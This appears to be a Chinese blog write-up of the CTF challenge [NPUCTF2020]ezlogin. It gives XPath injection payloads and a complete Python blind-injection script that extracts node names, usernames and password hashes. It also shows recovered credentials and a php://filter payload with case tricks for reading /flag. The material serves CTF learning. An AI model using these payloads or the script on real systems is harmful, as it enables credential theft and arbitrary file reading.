当前位置: 首页 > news >正文

xpath注入[NPUCTF2020]ezlogin

[NPUCTF2020]ezlogin

打开界面

如果发现自己输入的信息由这样构成,可以往xpath注入上靠一下。

 

不管输入什么,很容易发现登陆就超时了,说明这里token是不断刷新的。

 这样构造也是一样的目的都是为了闭合后面的',为啥有两个or呢

username=' ' or count(/)=1 or 1='1 ' and password=1

false or true or true and false   ,如果是两个   false or true and false 不就是false了吗

这条命令是判断根目录有几个结点, 

通过不同的回显,这道题采用盲注的手段通过回显位来判断。

 

 

一、获取根目录名字


'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>

 二、获取根目录上面的目录个数

 依次类推就可以判断n次目录下面的 子目录

三、获取目录名字的长度

'or string-length(name(/*[1]))=4 or ' '='

这样xpath基本操作就都了解了

id:        'or substring(name(/root/accounts/user/*[1]), {}, 1)='{}'  or ''=''or     username:        substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''=''or password:         substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='

 

import requests
import re
import time
s = requests.session()
url ='http://50869d19-fe92-4610-9af0-a294499acdf9.node4.buuoj.cn:81/login.php'
head ={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):for j in strs:r = s.post(url=url)token = find.findall(r.text)#猜测根节点名称#payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测子节点名称# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])## #猜测accounts的节点# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])## #猜测user节点#payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])## #跑用户名和密码# payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#print(payload_password)r = s.post(url=url,headers=head,data=payload_password)time.sleep(0.2)print(r.text)if "非法操作" in r.text:flag+=jprint(flag)breakif "用户名或密码错误!" in r.text:breakprint(flag)

一般都是md5存储数据的解密得到 

adm1n
gtfly123  cf7414b5bdb2e65ee43083f4ddbc4d9f
 

有的时候会因为网络报错,加一个time.sleep就可以了。

进入后发现,file=可能有路径穿越漏洞,或者任意文件读取漏洞

然后下面base64解码得到,flag  in /flag

直接用filter读取协议试一下

phP://filter/convert.bAse64-encode/resource=/flag

PHP://filter/string.toupper/resource=/flag   转换为大写都可以绕过

 

 

http://www.lryc.cn/news/314.html

相关文章:

  • 【Python学习笔记】22.Python3 数据结构
  • 一文搞懂 什么是CPU上下文?为什么要切换?如何减少切换?
  • 【Python】Python学习笔记(二)基本输入输出
  • LeetCode刷题系列 -- 724. 寻找数组的中心下标
  • Linux编辑器vim
  • 基于“python+”潮汐、风驱动循环、风暴潮等海洋水动力模拟
  • 《Terraform 101 从入门到实践》 第二章 Providers插件管理
  • 03- pandas 数据库可视化 (机器学习)
  • Spring为什么这么火 之 Bean的6种作用域和Bean的生命周期
  • 【CSS面试题】2023前端最新版css模块,高频15问
  • SpringCloud-Netflix学习笔记10——Hystrix实现服务熔断
  • 精华文稿|迈向统一的点云三维物体检测框架
  • 面试题:Redis网络模型
  • 微信小程序开发你可能不知道的开发技巧
  • STM32开发(8)----CubeMX配置串口通讯(中断方式和DMA方式)
  • 7.1 微服务-SpringCloud(二)
  • Spring的AOP开发-基于xml配置的AOP
  • JAVA的垃圾收集器与内存分配策略【一篇文章直接看懂】
  • NLP学习——信息抽取
  • 【深度学习基础7】预训练、激活函数、权重初始化、块归一化
  • MetaMQ
  • 热门盘点 | 10款评分最高的项目管理工具
  • 若依框架---分页功能
  • CHAPTER 3 Jenkins SVN GItlab
  • 为什么Redis集群的最大槽数是16384个?
  • 餐饮企业数据可视化大屏(智慧餐饮)
  • Kafka安装及zookeeper is not a recognized option问题解决
  • leetcode刷题 | 关于二叉树的题型总结1
  • webpack新手入门
  • Redis中有常见数据类型